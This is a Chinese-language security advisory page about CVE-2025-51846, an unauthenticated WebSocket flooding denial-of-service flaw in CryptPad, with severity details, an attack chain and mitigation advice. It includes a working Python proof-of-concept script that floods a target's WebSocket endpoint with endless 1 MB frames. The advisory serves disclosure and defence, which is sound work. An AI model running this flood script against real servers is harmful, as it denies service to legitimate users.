IPBUF安全漏洞报告
English
CVE-2025-51846 CVSS 7.5 高危

CVE-2025-51846 CryptPad拒绝服务漏洞

披露日期: 2026-04-30
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-51846
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CryptPad

相关标签

拒绝服务DoSWebSocketCryptPad资源耗尽

漏洞概述

CryptPad 2025.3.1版本中存在安全漏洞,允许未经验证的WebSocket帧洪水攻击。远程未经身份验证的攻击者可利用此漏洞,通过发送大量不受限制的WebSocket帧,显著消耗服务器资源。这会导致CryptPad实例对所有用户的服务能力严重下降甚至完全拒绝服务。目前官方已在2026.2.2版本中修复了该问题。

技术细节

该漏洞源于CryptPad在处理WebSocket连接时未对帧的大小或频率实施有效的边界检查。攻击者无需任何用户权限或交互,即可通过网络向目标CryptPad实例发起攻击。通过发送无限制的WebSocket帧数据,攻击者可以耗尽服务器的CPU、内存或连接池资源。由于缺乏速率限制和流量控制,这种攻击能够轻易导致服务不可用,造成拒绝服务(DoS)状态。

攻击链分析

STEP 1
侦察
攻击者识别互联网上暴露的CryptPad实例及其WebSocket端点。
STEP 2
利用
攻击者建立WebSocket连接,并发送大量不受限制的数据帧(洪水攻击),消耗系统资源。
STEP 3
影响
服务器资源耗尽,导致服务响应迟缓或完全崩溃,合法用户无法访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets async def cve_2025_51846_poc(target_url): """ PoC for CVE-2025-51846: Unbounded WebSocket Frame Flood This script attempts to flood a CryptPad instance with large WebSocket frames. """ try: # Connect to the WebSocket endpoint async with websockets.connect(target_url) as websocket: # Define a large payload to simulate the flood # Sending 1MB chunks repeatedly payload = "A" * (1024 * 1024) print(f"Connected to {target_url}. Starting flood...") while True: await websocket.send(payload) print("Sent large frame payload") # Optional: small delay to allow network processing if testing locally # await asyncio.sleep(0.01) except Exception as e: print(f"Connection error or server crashed: {e}") if __name__ == "__main__": # Replace with actual target WebSocket URL target = "ws://<target-host>/cryptpad_websocket" asyncio.run(cve_2025_51846_poc(target))

影响范围

CryptPad 2025.3.1 及更早版本

防御指南

临时缓解措施
建议立即应用官方补丁进行升级。若无法立即升级,应在网络边界设备(如防火墙或WAF)上实施严格的WebSocket连接限制和流量监控,以阻断异常的洪水流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表